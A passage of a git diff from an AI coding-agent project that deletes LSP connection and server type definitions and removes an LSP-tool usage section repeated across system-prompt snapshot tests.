LSP communication. - */ -export interface JsonRpcMessage { - jsonrpc: string; - id?: number | string; - method?: string; - params?: unknown; - result?: unknown; - error?: { - code: number; - message: string; - data?: unknown; - }; -} - -// ============================================================================ -// LSP Connection Interface -// ============================================================================ - -/** - * Interface for LSP JSON-RPC connection. - */ -export interface LspConnectionInterface { - /** Start listening on a readable stream */ - listen: (readable: NodeJS.ReadableStream) => void; - /** Send a message to the server */ - send: (message: JsonRpcMessage) => void; - /** Register a notification handler */ - onNotification: (handler: (notification: JsonRpcMessage) => void) => void; - /** Register a request handler */ - onRequest: (handler: (request: JsonRpcMessage) => Promise) => void; - /** Send a request and wait for response */ - request: (method: string, params: unknown) => Promise; - /** Send initialize request */ - initialize: (params: unknown) => Promise; - /** Send shutdown request */ - shutdown: () => Promise; - /** End the connection */ - end: () => void; -} - -// ============================================================================ -// LSP Server Status -// ============================================================================ - -/** - * Status of an LSP server instance. - */ -export type LspServerStatus = - | 'NOT_STARTED' - | 'IN_PROGRESS' - | 'READY' - | 'FAILED'; - -// ============================================================================ -// LSP Server Handle -// ============================================================================ - -/** - * Handle for managing an LSP server instance. - */ -export interface LspServerHandle { - /** Server configuration */ - config: LspServerConfig; - /** Current status */ - status: LspServerStatus; - /** Active connection to the server */ - connection?: LspConnectionInterface; - /** Server process (for stdio transport) */ - process?: ChildProcess; - /** Error that caused failure */ - error?: Error; - /** Whether TypeScript server has been warmed up */ - warmedUp?: boolean; - /** Whether stop was explicitly requested */ - stopRequested?: boolean; - /** Number of restart attempts */ - restartAttempts?: number; - /** Lock to prevent concurrent startup attempts */ - startingPromise?: Promise; -} - -// ============================================================================ -// LSP Service Options -// ============================================================================ - -/** - * Options for NativeLspService constructor. - */ -export interface NativeLspServiceOptions { - /** Whether to require trusted workspace */ - requireTrustedWorkspace?: boolean; - /** Override workspace root path */ - workspaceRoot?: string; -} - -// ============================================================================ -// LSP Connection Result -// ============================================================================ - -/** - * Result from creating an LSP connection. - */ -export interface LspConnectionResult { - /** The JSON-RPC connection */ - connection: LspConnectionInterface; - /** Server process (for stdio transport) */ - process?: ChildProcess; - /** Shutdown the connection gracefully */ - shutdown: () => Promise; - /** Force exit the connection */ - exit: () => void; - /** Send initialize request */ - initialize: (params: unknown) => Promise; -} diff --git a/packages/core/src/core/__snapshots__/prompts.test.ts.snap b/packages/core/src/core/__snapshots__/prompts.test.ts.snap index 6d1eff9fc..0c0b6c6ad 100644 --- a/packages/core/src/core/__snapshots__/prompts.test.ts.snap +++ b/packages/core/src/core/__snapshots__/prompts.test.ts.snap @@ -124,19 +124,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -356,19 +343,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -598,19 +572,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -825,19 +786,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -1052,19 +1000,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -1279,19 +1214,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -1506,19 +1428,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -1733,19 +1642,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -1960,19 +1856,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -2187,19 +2070,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -2437,19 +2307,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -2747,19 +2604,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -2997,19 +2841,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -3303,19 +3134,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks 